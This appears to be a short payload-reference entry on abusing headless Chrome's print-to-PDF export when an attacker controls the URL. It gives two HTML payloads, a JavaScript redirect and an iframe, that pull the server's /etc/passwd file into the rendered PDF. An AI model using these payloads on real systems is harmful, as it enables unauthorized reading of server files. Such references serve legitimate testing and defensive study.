Headless Browser: PDF Rendering
Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.
Target: google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html
Javascript Redirect
<html> <body> <script> window.location="/etc/passwd" </script> </body> </html>Iframe
<html> <body> <iframe src="/etc/passwd" height="640" width="640"></iframe> </body> </html>
Comments
No comments yet.